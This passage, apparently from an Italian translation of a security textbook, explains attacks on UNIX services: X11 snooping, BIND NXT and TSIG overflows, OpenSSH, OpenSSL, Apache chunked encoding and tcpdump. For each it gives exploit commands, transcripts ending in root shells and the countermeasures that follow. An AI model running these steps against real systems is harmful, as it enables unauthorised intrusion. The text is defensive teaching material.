  0x1000246  (Netscape)
  0x1000561  (Netscape: OpenBSD)
```

`xlswins` è anche in grado di fornire molte altre informazioni; per questo nell'esempio abbiamo utilizzato `grep`, al fine di verificare che Netscape fosse attivo. Fortunatamente lo è. Potete anche scorrere i risultati di `xlswins` per cercare finestre più interessanti. Per visualizzare la finestra di Netscape sul vostro sistema, potete utilizzare il programma XWatchWin (come mostrato nella Figura 7.3):

```
[tsunami]#xwatchwin quake -w 0x1000561
```

Fornendo l'ID, potete visualizzare qualunque finestra gestita dal server X e osservare di nascosto le attività svolte.
Anche se sul server attaccato è attivo `xhost -`, l'hacker può essere in grado di intercettare la schermata di sessione della console utilizzando `xwd`, sempre che sia a disposizione una shell di sistema e che sia utilizzata l'autenticazione standard di `xhost` sul server attaccato:

```
[quake]$xwd -root -display localhost:0.0 > dump.xwd
```

Figura 7.3

Con XWachWin è possibile visualizzare qualunque applicazione X presente sul desktop da una postazione remota.

Per visualizzare la schermata catturata, copiate il file sul vostro sistema con `xwud`:

```
[tsunami]#xwud -in dump.xwd
```

Come se non avessimo elencato sufficienti vulnerabilità, per un hacker è anche possibile inviare eventi KeySym a una finestra, ossia simulare la pressione di tasti. In questo modo, possono essere inviati tasti a una finestra `xterm` del sistema target come se venissero digitati localmente dalla console.

Contromisure per i punti deboli di X

Resistete a ogni costo alla tentazione di utilizzare il comando `xhost +`. Non siate pigri! Se siete in dubbio, utilizzate il comando `xhost -`, che non interrompe alcuna connessione esistente, ma proibisce l'attivazione di connessioni future. Se dovete concedere l'accesso remoto al vostro server X, indicate ogni server autorizzato tramite il suo indirizzo IP. Ricordate che ciascun utente sul server può collegarsi al vostro server X e curiosare in giro. Altre misure di sicurezza comprendono l'utilizzo di meccanismi di autenticazione più avanzati, come MIT-MAGIC-COOKIE-1, XDM-AUTHORIZATION-1, e MIT-KERBEROS-5. Questi servizi forniscono a un server X livelli di sicurezza aggiuntivi. Se utilizzate `xterm`, o un terminale X simile, abilitate l'opzione *Secure keyboard* (sicurezza tastiera), in modo che nessun altro processo possa essere in grado di intercettare gli eventi di utilizzo della tastiera. Prendete anche in considerazione la possibilità di bloccare le porte 6000-6063 a livello di firewall, per inibire la connessione alle porte del server X. Per finire, considerate la

possibilità di utilizzare la funzionalità di incapsulamento di `ssh`, per migliorare la sicurezza durante le sessioni X: assicuratevi però che nel file `sshd_config` o `sshd2_config`, il parametro `ForwardX11` sia impostato su "Yes".

DNS (Domain Name System)

Diffusione:	*9*
Semplicità:	*7*
Impatto:	*10*
Fattore di rischio:	*9*

DNS è uno dei servizi più comuni utilizzati da Internet e dalla maggior parte delle intranet aziendali. Come potete immaginare, la capillarità del servizio DNS lo rende particolarmente vulnerabile agli attacchi remoti: molti hacker ricercano periodicamente la presenza di eventuali punti deboli nell'implementazione dell'applicazione DNS della distribuzione UNIX più diffusa, il pacchetto BIND (*Berkeley Internet Name Domain*). Inoltre, DNS è uno dei pochi servizi che è quasi sempre richiesto e utilizzato sulla rete periferica di accesso a Internet di un'organizzazione. Di conseguenza un difetto nell'architettura di BIND determina quasi sicuramente un attacco remoto (la maggior parte delle volte con i privilegi dell'utente root). Per fare un esempio pratico, un sondaggio sulla sicurezza eseguito nel 1999 ha rilevato che più del 50% di tutti i server DNS connessi a Internet sono esposti a un attacco. Il rischio è reale. Attenti!

Anche se in passato ci sono stati molti problemi di sicurezza e di disponibilità associati a BIND (si veda a tale proposito `http://www.cert.org/advisories/CA-98.05.bind_problems.html`), concentreremo in particolare la nostra attenzione su uno degli ultimi e più devastanti attacchi a tutt'oggi conosciuti. Nel novembre 1999 il CERT pubblicò un documento in cui venivano descritti seri difetti di sicurezza individuati in BIND (`http://www.cert.org/advisories/CA-1999-14.html`). Dei sei difetti rilevati, il più serio era la possibilità di un buffer overflow remoto nella modalità di validazione dei record NXT. Per ulteriori informazioni sui record NXT, si veda `http://www.faqs.org/rfcs/rfc2065.html`. Questo buffer overflow consente l'esecuzione remota di un qualsiasi comando come utente root sul server oggetto dell'attacco. Vediamo come funziona questo attacco.

La maggior parte degli hacker farà ricorso a strumenti automatici per cercare di identificare un server vulnerabile che utilizza `named`. Per stabilire se il meccanismo di sicurezza del server è esposto a questo potenziale punto debole, eseguite la seguente tecnica di enumerazione:

```
[tsunami]# dig @10.1.1.100 version.bind chaos txt
; <<>> DiG 8.1 <<>> @10.1.1.100 version.bind chaos txt
; (1 server found)
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUERY SECTION:
;;      version.bind, type = TXT, class = CHAOS
;; ANSWER SECTION:
VERSION.BIND.          0S CHAOS TXT    "8.2.2"
```

Questo comando esegue l'interrogazione di named e restituisce la versione associata. Ancora una volta viene evidenziata l'importanza cha assume il rilevamento del profilo del sistema. Nel nostro esempio abbiamo scoperto che il server DNS obiettivo utilizza la versione 8.2.2 di named, vulnerabile a un attacco NXT. Altre versioni vulnerabili di named sono la 8.2 e la 8.2.1.
Affinché l'attacco vada a buon fine, l'hacker deve avere il controllo di un server DNS associato a un dominio valido. È assolutamente necessario impostare un sottodominio associato con il dominio sul server DNS. Nel nostro caso, faremo l'ipotesi che la rete dell'hacker sia attackers.org, che il sottodominio sia denominato "hash" e che il server DNS venga eseguito su una sistema chiamato "quake". In questo caso, gli hacker aggiungeranno al file /var/named/attackers.org.zone di quake la voce riportata di seguito ed eseguiranno il riavvio di named attraverso l'interfaccia di controllo ndc:

```
Subdomain                IN      NS        hash.attackers.org.
```

Ricordiamo ancora che quake è un server DNS controllato dagli hacker. Dopo aver compilato l'attacco associato scritto dal gruppo ADM (http://packetstormsecurity.org/9911-exploits/adm-nxt.c), questo deve essere eseguito da un sistema diverso (tsunami), che disponga dell'architettura corretta. Poiché named può essere eseguito su molte varianti UNIX, riportiamo di seguito i tipi di architettura che supportano questo attacco:

```
 [tsunami]# adm-nxt
Usage: adm-nxt architecture [command]
Available architectures:
   1: Linux Redhat 6.x     - named 8.2/8.2.1 (from rpm)
   2: Linux SolarDiz's non-exec stack patch - named 8.2/8.2.1
   3: Solaris 7 (0xff)     - named 8.2.1
   4: Solaris 2.6          - named 8.2.1
   5: FreeBSD 3.2-RELEASE - named 8.2
   6: OpenBSD 2.5          - named 8.2
   7: NetBSD 1.4.1         - named 8.2.1
```

Il footprinting eseguito in precedenza con nmap ci ha permesso di stabilire che sul sistema target è installato RedHat 6.*x*; pertanto selezioniamo l'opzione 1:

```
[tsunami]#adm-nxt 1
```

Una volta eseguito, l'attacco si connette alla porta UDP 53 di tsunami e resta in attesa di una connessione dal server dei nomi vulnerabile. Affinché l'attacco possa collegarsi alla porta 53, sul sistema non deve essere eseguito un server DNS reale. Ricordate che l'intero attacco è basato sul fatto che il server dei nomi si possa collegare al nostro server DNS fittizio, che è in realtà l'hacker stesso in ascolto sulla porta UDP 53, o lo interroghi. Ma come si fa a portare a termine questa operazione? Semplice. L'hacker chiede al server DNS l'obiettivo di ricercare alcune informazioni di base tramite il comando nslookup:

```
[quake]# nslookup
Default Server:  localhost.attackers.org
Address:  127.0.0.1

> server 10.1.1.100
Default Server:  dns.victim.net
Address:  10.1.1.100
```

```
> hash.attackers.org
Server:  dns.victim.net
Address:  10.1.1.100
```

Come potete vedere, l'hacker esegue `nslookup` in modalità interattiva su un sistema diverso sotto il suo controllo. Quindi l'hacker si sposta dal server DNS che utilizzerebbe normalmente al server 10.1.1.100 della vittima. Per finire, chiede al server DNS obiettivo l'indirizzo di "hash.attackers.org": questo determina un'interrogazione del server DNS fittizio in ascolto sulla porta UDP 53. Una volta che il server dei nomi si è collegato a tsunami, l'attacco buffer overflow viene inviato a dns.victim.net, consentendo l'accesso diretto all'utente root:

```
[tsunami]# t666 1
Received request from 10.1.1.100:53 for hash.attackers.org type=1
id
uid=0(root) gid=0(root) groups=0(root)
```

Notate come l'hacker non disponga di una shell vera e propria, ma sia, tuttavia, in grado di inviare comandi come utente root.

DNSTSIG

Diffusione:	*8*
Semplicità:	*8*
Impatto:	*10*
Fattore di rischio:	*9*

Nella migliore tradizione della vulnerabilità di BIND, agli inizi del 2001 sono state scoperte condizioni di buffer overflow: esse sono descritte nel CERT di Carnegie Mellon, reperibile all'indirizzo `http://www.cert.org/advisories/CA-2001-02.html`. Queste condizioni interessano le versioni di BIND elencate di seguito.

Versioni di BIND 8	8.2, 8.2.1, da 8.2.2 fino a 8.2.2-P7 Da 8.2.3-T1A fino a 8.2.3-T9B
Versioni di BIND 4	Buffer overflow: da 4.9.5 a 4.9.7 Formato stringa: da 4.9.3 a 4.9.5-P1

Una delle peggiori situazioni di buffer overflow è quella relativa alle funzionalità di elaborazione TSIG (*Transaction Signature*, RFC2845) di BIND 8: l'attacco di questa vulnerabilità può essere realizzato in modalità remota e con conseguenze devastanti, potendosi combinare con le condizioni di "infoleak" segnalate nelle note CERT. Il tipo di vulnerabilità "infoleak" consente all'hacker di utilizzare `named` per recuperare lo stack necessario per eseguire l'attacco di buffer overflow TSIG: dal momento che il buffer overflow in questione ha luogo nella fase iniziale di una richiesta DNS, sono da considerarsi vulnerabili sia i server DNS ricorsivi sia quelli non ricorsivi. Esaminiamo l'attacco in azione contro un server DNS Linux vulnerabile:

```
[wave]# nmap 10.10.10.1 -p 53 -O
Starting nmap V. 2.30BETA17 by fyodor@insecure.org
Interesting ports on  (10.10.10.1);
Port        State        Servie
53/tcp      open         domain
```

```
TCP Sequence Prediction: Class=random positive increments
Difficulty=3340901 (Good luck!)
Remote operating system guess: Linux 2.1.122 - 2.2.14
```

Si ricorre al comando dig per determinare la versione del BIND:

```
[wave]# dig @10.10.10.1 version.bind txt chaos
VERSION.BIND.              0S CHAOS TXT    "8.2.1"
```

Il BIND 8.2.1 è ora soggetto alla vulnerabilità TSIG:

```
[wave]# ./bind8x 10.10.10.1
[*] named 8.2.x (< 8.2.3-REL) remote root exploit by lucysoft, Ix
[*] fxed by ian@cypherpunks.ca and jwilkins@bitland.net
[*] attacking 10.10.10.1 (10.10.10.1)
[d] HEADER is 12 long
[d] infoleak_qry was 476 long
[*] iquery resp len = 719
[d] argevdisp1 = 080d7cd0, argevdisp2 = 4010d6c8
[*] retrieved stack offset = bffffae8
[d] evil_query(buff, bffffae8)
[d] shellcode is 134 long
[d] old = 232
[*] injecting shellcode at 1
[*] connecting..
[*] wait for your shell..
Linux toast 2.2.12-20 #1 Mon Sep 27 10:40:35 EDT 1999 i686 unknown
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```

Come per l'attacco DNS NXT illustrato in precedenza, l'hacker non dispone di una vera e propria shell, ma può eseguire dei comandi con named, con privilegi di root.

Contromisure per i punti deboli del DNS

Per prima cosa, disabilitate e rimuovete BIND su qualsiasi sistema che non viene utilizzato come server DNS. Su molte installazioni standard di UNIX (particolarmente Linux), named viene eseguito durante la sequenza di avvio senza mai essere utilizzato dal sistema. In secondo luogo, assicuratevi di utilizzare la versione di BIND corrente e aggiornata per i difetti di sicurezza collegati (consultate il sito http://www.isc.org/products/BIND/bind-security.html): a tutte le ultime versioni di BIND sono state applicate le patch relative alla suddetta vulnerabilità. Terzo, eseguite named come utente senza privilegi: in verità, esso dovrebbe essere eseguito come utente root solo per collegarsi alla porta 53, per poi rilasciare i diritti utilizzando l'opzione -u (named -u dns -g dns). Infine, named dovrebbe essere eseguito da un ambiente chrooted(), utilizzando l'opzione - t per impedire che un hacker possa accedere all'intero file system anche se ha ottenuto l'accesso al sistema (named -u dns -g dns -t /home/dns). Anche se queste misure di sicurezza fanno al caso vostro, ricordate che non sono la panacea di tutti i mali, pertanto è assolutamente necessario essere cauti al limite della paranoia quando si tratta delle sicurezza del server DNS.

Se non ne potete più delle molte carenze di sicurezza associate a BIND, prendete in considerazione l'utilizzo di djbdns (http://cr.yp.to/djbdns.html), un prodotto

particolarmente sicuro scritto da Dan Bernstein, progettato per costituire un'alternativa affidabile, sicura e veloce a BIND.

Carenze di sicurezza di SSH

Diffusione:	*6*
Semplicità:	*4*
Impatto:	*10*
Fattore di rischio:	*7*

SSH è uno dei servizi preferiti per la disponibilità di accesso remoto sicuro: dispone di numerose opzioni e garantisce la tranquillità e la sicurezza di milioni di utenti. In effetti, gran parte dei sistemi più sicuri si basa su SSH per difendersi dagli utenti non autenticati e per proteggere i dati e le credenziali di login dalle intercettazioni. Malgrado tutta questa sicurezza, SSH è stato soggetto a diverse condizioni di vulnerabilità.

Una delle più dannose è relativa a una falla nella compensazione CRC-32 del codice di rilevamento di attacchi di SSH1, aggiunto diversi anni fa per risolvere un grave problema di vulnerabilità connesso alla crittografia nel protocollo SSH1. Così come si verifica a volte per quelle progettate per correggere problemi di sicurezza, questa patch presentava una nuova falla nel codice di rilevamento degli attacchi, che avrebbe potuto consentire l'esecuzione di codice arbitrario sui client e server SSH che l'avevano installata. La rilevazione ha luogo utilizzando una tabella hash che viene allocata dinamicamente in base alla dimensione del pacchetto ricevuto. Il problema si riferisce alla dichiarazione impropria di una variabile utilizzata nel codice di rilevamento: un hacker potrebbe introdurre pacchetti SSH di grandi dimensioni (di lunghezza superiore a 2^16) affinché il codice effettui una chiamata a `xmalloc()` con argomento 0, cosa che restituirebbe un puntatore nello spazio di indirizzamento del programma.

Se gli hacker sono capaci di scrivere locazioni di memoria arbitrarie nello spazio di indirizzamento di SSH (server o client), possono far eseguire porzioni di codice dal sistema ora vulnerabile, a loro discrezione.

Questa falla interessa non solo i server SSH, ma anche i client. Risultano vulnerabili tutte le versioni di SSH che supportano il protocollo 1(1.5), che utilizza la compensazione CRC del codice di rilevamento attacchi.

- Le versioni di OpenSSH precedenti alla 2.3.0 sono vulnerabili.
- Le versioni di SSH-1.2.24 fino alla SSH-1.2.31 compresa sono vulnerabili.

Vulnerabilità della procedura di Challenge-Response in OpenSSH

Nelle versioni 2.9.9 e 3.3 di OpenSSH sono state riscontrate diverse vulnerabilità, tutte ugualmente recenti e dannose per la sicurezza dell'intero sistema. La prima degna di rilievo è il verificarsi di una situazione di overflow dei numeri interi a livello della ricezione delle risposte, durante una procedura di autenticazione di tipo challenge-response. Per eseguire l'attacco a questa vulnerabilità si deve tenere conto di diversi fattori. Se è impostata l'opzione di configurazione per l'utilizzo della modalità challenge-response e *il* sistema utilizza un metodo di autenticazione di tipo

BSD_AUTH o SKEY, un buon hacker sarà in grado di eseguire un codice con i privilegi di root sul sistema attaccato. Ecco come:

```
[wave]# ./ssh 10.0.1.1
[*] remote host supports ssh2
Warning: Permanently added '10.0.48.15' (RSA) to the list of known hosts.
[*] server_user: bind:skey
[*] keyboard-interactive method available
[*] chunk_size: 4096 tcode_rep: 0 scode_rep 60
[*] mode: exploitation
*GOBBLE*
OpenBSD rd-openbsd31 3.1 GENERIC#0 i386
uid=0(root) gid=0(wheel) groups=0(wheel)
```

Dal sistema dal quale viene sferrato l'attacco (wave) è stato possibile realizzare l'attacco del sistema vulnerabile avente indirizzo IP 10.1.1.1, che utilizzava il sistema di autenticazione SKEY e possedeva una versione di `sshd` non aggiornata. Come potete vedere, gli effetti sono devastanti, perché abbiamo ottenuto i privilegi di root sulla piattaforma OpenBSD 3.1.

La seconda vulnerabilità consiste nel provocare una situazione di buffer overflow durante la procedura challenge-response. A prescindere dal fatto che sia impostata l'opzione di configurazione per l'utilizzo della modalità challenge-response, un sistema che utilizza PAM (*Pluggable Authentication Modules*), anche se con autenticazione interattiva da tastiera (*PAMAuthenticationViaKbdInt*) si rivela vulnerabile agli accessi da remoto con privilegi di root.

Contromisure alle vulnerabilità di SSH

Verificate se state utilizzando versioni di SSH client e server aggiornate con le ultime patch: per un elenco completo delle molte versioni di SSH vulnerabili, consultate il sito `http://online.securityfocus.com/bid/5093`. Per una rapida soluzione, si consiglia l'aggiornamento alla versione OpenSSH 3.4.0 o successiva, che sono disponibili all'indirizzo `http://www.openssh.com`. Oltre a questo, non trascurate di utilizzare le caratteristiche di separazione dei privilegi presenti a partire dalla versione 3.2 di OpenSSH, che permettono di eseguire il daemon `sshd` all'interno di un ambiente `chroot` o di un ambiente privo di autorizzazioni: in questo modo, anche se dovesse forzare `sshd` (per esempio, sfruttando la vulnerabilità di buffer overflow), un intruso otterrebbe privilegi molto limitati. La separazione dei privilegi deve essere abilitata nel file `/etc/ssh/sshd_config`, impostando a `YES` il parametro `UsePrivilegeSeparation`.

Overflow di OpenSSL

Diffusione:	*8*
Semplicità:	*8*
Impatto:	*10*
Fattore di rischio:	*9*

Worm, worm e ancora worm: quando ci libereremo di questi attacchi così antipatici? Non ci sembrerà vero di aver ripulito il mondo dei computer dai worm, o dalla propagazione di codice dannoso attraverso sistemi vulnerabili. Proprio il worm

Slapper ha approfittato delle vulnerabilità dei sistemi OpenSSL, prendendo di mira le versioni dalla 0.9.6 alla 0.6.7 beta 2. OpenSSL è un'implementazione open source del servizio SSL (*Secure Socket Layer*), ed è presente in molte versioni di UNIX (specialmente in quelle gratuite). Nelle versioni di OpenSSL vulnerabili è stata riscontrata una condizione di buffer overflow nella gestione del codice utente, durante la procedura di negoziazione effettuata dal protocollo SSLv2, che può portare un hacker a ottenere i privilegi necessari per eseguire qualsiasi codice sul server Web attaccato. Questo è esattamente quello che fa il worm Slapper. Osserviamo nel dettaglio un attacco a un sistema con OpenSSL:

```
[wave]$ ./ultrassl 10.0.1.1
ultrassl - an openssl <= 0.9.6d apache exploit (brute force version)
using 101 byte shellcode
performing information leak:
06 b7 98 7e 50 91 ba 65  3f a8 5d 8d 1e a6 13 60  | ...~P..e?.]....`
8d 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  | ................
00 20 00 00 00 36 64 35  39 32 34 30 32 66 64 31  | . ...6d592402fd1
33 34 32 36 37 33 31 33  34 33 66 65 33 32 37 30  | 3426731343fe3270
64 35 33 62 34 00 00 00  00 10 6e 15 08 00 00 00  | d53b4.....n.....
00 00 00 00 00 01 00 00  00 2c 01 00 00 05 e3 87  | .........,......
3d 00 00 00 00 8c 70 47  40 00 00 00 00 e0 6d 15  | =.....pG@.....m.
\08                                               | .
cipher  = 0x4047708c
ciphers = 0x08156de0
get_server_hello(): unexpected response
get_server_hello(): unexpected response
brute force: 0x40478e1c
populating shellcode..
performing exploitation..
Linux localhost.localdomain 2.4.7-10 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
```

Come si può vedere, siamo riusciti a forzare il server Web 10.1.1.1 e a ottenere l'accesso a esso senza privilegi: notate che non abbiamo ottenuto i privilegi di root, perché Apache su molti sistemi viene visto dal sistema come un utente (apache, appunto) senza privilegi. Sebbene all'hacker non siano stati attribuiti immediatamente i privilegi di root, è solo questione di tempo: vedremo come fare nel paragrafo "Accesso locale", nel prosieguo di questo capitolo.

Contromisure per OpenSSL

La soluzione migliore consiste nel mantenere sempre aggiornato OpenSSL alle ultime patch e alle versioni successive alla 0.9.6e. Tenete presente che le piattaforme che utilizzano OpenSSL sono molte, quindi possono essere oggetto di attacchi: ne potete trovare un elenco completo sul sito Web `http://online.securityfocus.com/bid/5363/solution/`. Come ulteriore contromisura, è consigliabile disabilitare il protocollo SSLv2, qualora non sia strettamente necessario, rendendo non commentata la direttiva `SSLCipherSuite` e aggiungendole in fondo la stringa `:!SSLv2:+SSLv2`: tale modifica sarà resa valida dopo il riavvio del server Web. Un'ottima risorsa per mantenere i vostri server al massimo delle loro possibilità è il sito WWW Security FAQ, alla pagina Web `http://www.w3.org/Security/faq/www-security-faq.html`.

Attacchi ad Apache

Diffusione:	*8*
Semplicità:	*8*
Impatto:	*10*
Fattore di rischio:	*9*

Ora che abbiamo visto come proteggere OpenSSL, rivolgiamo la nostra attenzione ad Apache, che al momento è il server Web più utilizzato nel mondo: secondo le stime di Netcraft.com, Apache gestisce oltre il 60% dei server presenti in Internet. Data la sua popolarità, non sorprende che proprio Apache sia il bersaglio preferito di molti pirati informatici. Uno dei maggiori punti deboli di questo server Web è la modalità di gestione delle richieste non valide codificate a blocchi. Il trasferimento di dati codificati a blocchi permette al mittente di inviare il contenuto (body) di un messaggio HTML suddividendolo in più parti, ciascuna contenente un campo che ne indica la dimensione. Questa vulnerabilità riguarda le versioni di Apache dalla 1.3 alla 1.3.24, e quelle dalla 2 alla 2.0.39. Un hacker può agire inviando al server Apache una richiesta non corretta tale da realizzare l'attacco, producendo una condizione di buffer overflow:

```
[wave]$ ./apache-nosejob -h 10.0.1.1 -oo
[*] Resolving target host.. 10.0.1.1
[*] Connecting.. connected!
[*] Exploit output is 32322 bytes
[*] Currently using retaddr 0x80000
[*] Currently using retaddr 0x88c00
[*] Currently using retaddr 0x91800
[*] Currently using retaddr 0x9a200
[*] Currently using retaddr 0xb2e00
uid=32767(nobody) gid=32767(nobody) group=32767(nobody)
```

Da questo output possiamo vedere che la versione vulnerabile di Apache è stata forzata con successo, facendo ottenere all'hacker l'accesso con i privilegi di "nobody". Siccome il daemon di Apache viene visto dal sistema come un utente privo di privilegi, l'hacker non ottiene immediatamente i privilegi di root: come vedremo tra breve, nel paragrafo "Accesso locale", su molti sistemi riuscire in quest'impresa è solo una questione di tempo.

Contromisure per Apache

Come abbiamo già visto esaminando altre vulnerabilità di questo tipo, la soluzione migliore è mantenere aggiornato Apache con le patch e gli aggiornamenti alla versione sicura più recente. La vulnerabilità appena esaminata, in particolare, è stata eliminata con successo a partire dalle versioni 1.3.26 e 2.0.39, che possono essere scaricate gratuitamente dal sito `http://www.apache.org`. È altresì consigliabile consultare il sito del produttore di qualsiasi altro software eventualmente correlato ad Apache (come, per esempio, Red Hat StrongHold). Potete trovare una lista completa delle versioni vulnerabili di Apache alla pagina Web `http://online.securityfocus.com/bid/5033`.

Attacchi in modalità promiscua

Diffusione:	*1*
Semplicità:	*2*
Impatto:	*8*
Fattore di rischio:	*4*

I programmi cosiddetti di sniffing come `tcpdump`, `snort` e `snoop` consentono agli amministratori di rete e di sistema di monitorare ("annusare", come si dice in gergo) il traffico che transita nella loro rete. Questi programmi sono assai diffusi e forniscono informazioni importanti, utili per la rilevazione dei problemi di rete. In effetti, i sistemi di rilevazione delle intrusioni di rete si basano sulle tecnologie di sniffing e sono utilizzati per tenere sotto controllo i possibili comportamenti anomali, "annusando" il traffico di rete. Pur garantendo un servizio estremamente importante, è necessario che questi programmi siano eseguiti con i privilegi di root. Non deve pertanto sorprendere che possano essere compromessi da un hacker capace di inviare dei pacchetti insidiosi alla rete in cui essi risiedono.

L'attacco a un programma di sniffing che viene eseguito in modalità promiscua è un argomento interessante, in quanto il sistema target non richiede di avere nessuna porta in ascolto. Avete capito bene: è possibile attaccare un sistema UNIX eseguito in modalità promiscua, sfruttando le condizioni di vulnerabilità (per esempio, quelle di buffer overflow) presenti nel programma di sniffing stesso, anche se nel sistema sono disabilitati tutti i servizi TCP/UDP. Un eccellente esempio di attacco di questo tipo è la vulnerabilità presente in `tcpdump` versione 3.5.2: questa particolare versione di `tcpdump` è risultata soggetta a condizioni di buffer overflow nel codice di parsing AFS (*Andrew Files System*). Pertanto, un hacker avrebbe potuto inviare un pacchetto che una volta decodificato da `tcpdump` avrebbe eseguito qualsiasi comando con le credenziali di root. Un attacco di questo tipo è stato pubblicato dal gruppo di ricerca The Hispahack Research Team (`http://hispahack.ccc.de`). Esaminiamo l'attacco.

In primo luogo, `tcpdump` deve essere eseguito con l'opzione `-s`, che consente di specificare il numero di byte di ogni pacchetto da catturare. Nel nostro caso, utilizzeremo 500, che è un numero sufficiente per ricreare la condizione di buffer overflow nella routing di parsing AFS.

```
[wave]# tcpdump -s 500
```

È importante citare che se `tcpdump` è eseguito senza questa particolare opzione, il valore predefinito dei pacchetti è di 68 byte, che non è sufficiente per sfruttare questa condizione particolare di vulnerabilità. Ora lanceremo il vero e proprio attacco. Specifichiamo l'indirizzo IP del nostro obiettivo (192.168.1.200) eseguendo la versione di `tcpdump` vulnerabile: il codice di questa versione particolare prevede di restituire un `xterm`, cosicché specificheremo l'indirizzo IP del sistema attaccante, ossia 192.168.1.50. Infine, dobbiamo fornire un valore di offset di memoria per la condizione di buffer overflow, nel nostro caso 100 (questo valore potrebbe variare in altri sistemi).

```
[tsunami]# tcpdump-xploit 192.168.1.200 192.168.1.50 100
```

A questo punto, saremo magicamente gratificati da un `xterm` che dispone dei diritti di root. Ovviamente, se questo fosse un sistema di gestione di rete o se avesse un IDS che utilizza `tcpdump`, gli effetti potrebbero essere devastanti.

Contromisure agli attacchi in modalità promiscua

Per questa condizione di vulnerabilità particolare, gli utenti della versione 3.5.2 di `tcpdump` dovrebbero effettuare l'upgrade alla versione 3.6.1 o superiore (`http://www.tcpdump.org/`). Nei sistemi che si occupano semplicemente di catturare il traffico di rete o di eseguire funzioni di rilevamento delle intrusioni, considerate la possibilità di porre la scheda di rete dedicata alla cattura del traffico ostile in "modalità nascosta": si considera in tale modalità un sistema la cui scheda di rete è promiscua pur non disponendo di un vero indirizzo IP. Molto spesso, i sistemi nascosti hanno una scheda di interfaccia di rete secondaria inserita in un diverso segmento, che ha un indirizzo IP utilizzato per le funzioni di gestione. Per esempio, per far sì che Solaris sia posto in modalità nascosta, occorre eseguire il comando seguente:

```
[quake]# /usr/sbin/ifconfig nf0 plumb -arp up
```

Il fatto di configurare l'interfaccia in modalità promiscua senza un indirizzo IP inibisce il sistema dal comunicare via IP con un hacker ostile. Nel nostro esempio, un hacker non avrebbe mai potuto ricevere un `xterm` da 192.168.1.200 poiché il sistema non sarebbe stato in grado di comunicare con 192.168.1.50.

Accesso locale

Fino a ora abbiamo trattato le tecniche più comuni per attaccare i sistemi UNIX da una postazione remota. Come abbiamo già detto, la maggior parte degli hacker tenta di ottenere l'accesso locale attraverso qualche punto vulnerabile che può essere sfruttato da una postazione remota. Nel momento in cui un hacker ottiene l'accesso a una shell di comando, viene automaticamente considerato locale per il sistema. Anche se è possibile ottenere l'accesso come utente root sfruttando un punto vulnerabile da una postazione remota, in genere un hacker tenta prima di ottenere l'accesso locale. Successivamente, mette in pratica le tecniche per procedere alla scalata all'utente root (*privilege escalation*, scalata ai diritti di accesso), il grado di difficoltà della quale dipende in gran parte dalla versione e dal tipo di sistema operativo, nonché dalla configurazione specifica del sistema attaccato. Alcuni sistemi operativi svolgono un lavoro superlativo per impedire agli utenti l'accesso alle risorse di root, mentre altri si autoproteggono in modo assolutamente non efficace. Un'installazione standard di OpenBSD è molto più difficile da penetrare di un equivalente sistema in cui sia attivo Irix. Ovviamente le configurazioni personalizzate di ciascun sistema hanno un notevole impatto sulla sicurezza generale del sistema. Il paragrafo seguente prende in esame le tecniche per effettuare la scalata ai privilegi dell'utente root. Nella maggior parte dei casi l'utente root è l'oggetto del desiderio, anche se a volte non è sempre indispensabile: se l'hacker è interessato esclusivamente a penetrare in un database Oracle, per esempio, l'unico utente necessario è l'ID Oracle.

Vulnerabilità dovute alla scelta delle password

Diffusione:	*10*
Semplicità:	*9*
Impatto:	*9*
Fattore di rischio:	*9*

Basandoci sull'analisi degli attacchi a forza bruta, già visti precedentemente, è ormai evidente il rischio di selezionare password a basso profilo di sicurezza. Non ha alcuna importanza se l'hacker cerca di eseguire l'attacco da remoto o in locale, poiché in ogni caso una password debole mette a rischio la sicurezza del sistema. Dal momento che abbiamo già parlato ampiamente dei rischi principali, passiamo direttamente ai metodi utilizzabili per il crack delle password.
Il crack delle password è anche indicato come attacco automatizzato sferrato sulla base di un dizionario di parole. Se l'attacco a forza bruta può essere descritto come un attacco attivo, il crack delle password può essere svolto non in linea, in modo "passivo". Questo è un tipo comune di attacco locale, perché l'hacker deve ottenere il file */etc/passwd*, oppure un file shadow, dei quali è possibile intercettare una copia da remoto (per esempio via TFTP o HTTP). Pensiamo comunque che sia più appropriato descrivere il crack delle password tra i metodi di attacco locali. Il crack è differente dall'attacco a forza bruta, perché non tenta di accedere a servizi o di eseguire il comando **su**. Il meccanismo del crack consiste nel cifrare una probabile pass-word per un dato nome utente e confrontare il risultato della cifratura con l'hash ottenuto dal file */etc/passwd* o da un file shadow.
Se l'hash generato dal programma di crack è identico a quello ottenuto dal sistema, la password è stata indovinata con successo. Il processo descritto è algebra elementare. Se conosciamo due dei tre elementi necessari, possiamo cercare di dedurre il terzo. I tentativi vengono effettuati con un dizionario di parole o con testo a caso: chiameremo *input* queste parole. Conoscendo l'algoritmo di hash (che di solito è DES, *Data Encryption Standard*), lo applichiamo all'input e confrontiamo l'output ottenuto con l'hash vero del nome utente: se i due corrispondono, conosciamo la password originale. Questo processo è illustrato nella Figura 7.4.
Due dei migliori programmi disponibili per eseguire il crack delle password sono Crack 5.0a scritto da Alec Muffett, e John the Ripper (John lo squartatore) di Solar Designer. Crack 5.0a, in breve "Crack", è sicuramente il programma per eseguire il crack più noto e dalla sua introduzione si è costantemente evoluto. Viene consegnato con un esteso vocabolario di parole che spazia dai termini inglesi più banali, fino alla terminologia di *Star Trek*. Crack fornisce anche un meccanismo che consente di distribuire l'elaborazione su diversi computer. John the Ripper, più brevemente "John", è più recente di Crack 5.0a e può essere ottimizzato in maniera molto sofisticata per eseguire tentativi di crack di moltissime password in tempi molto brevi: inoltre, è in grado di gestire diversi algoritmi di hash in più rispetto a Crack. Sia Crack sia John consentono di elaborare diverse permutazioni partendo da ciascuna parola presente nel vocabolario fornito. Entrambi i programmi dispongono di circa 2400 regole predefinite, che possono essere applicate al dizionario per poter rintracciare parole che sembrerebbe impossibile riuscire a indovinare. Questi programmi vengono forniti di documentazione completa che consigliamo di prendere in esame. Invece di esporre tutte le loro caratteristiche, presenteremo un esempio reale di utilizzo di Crack e analizzeremo l'output prodotto. È importante avere ben chiara la strut-

Processo di crack

Password cifrata sconosciuta WmZw3gFv948ak

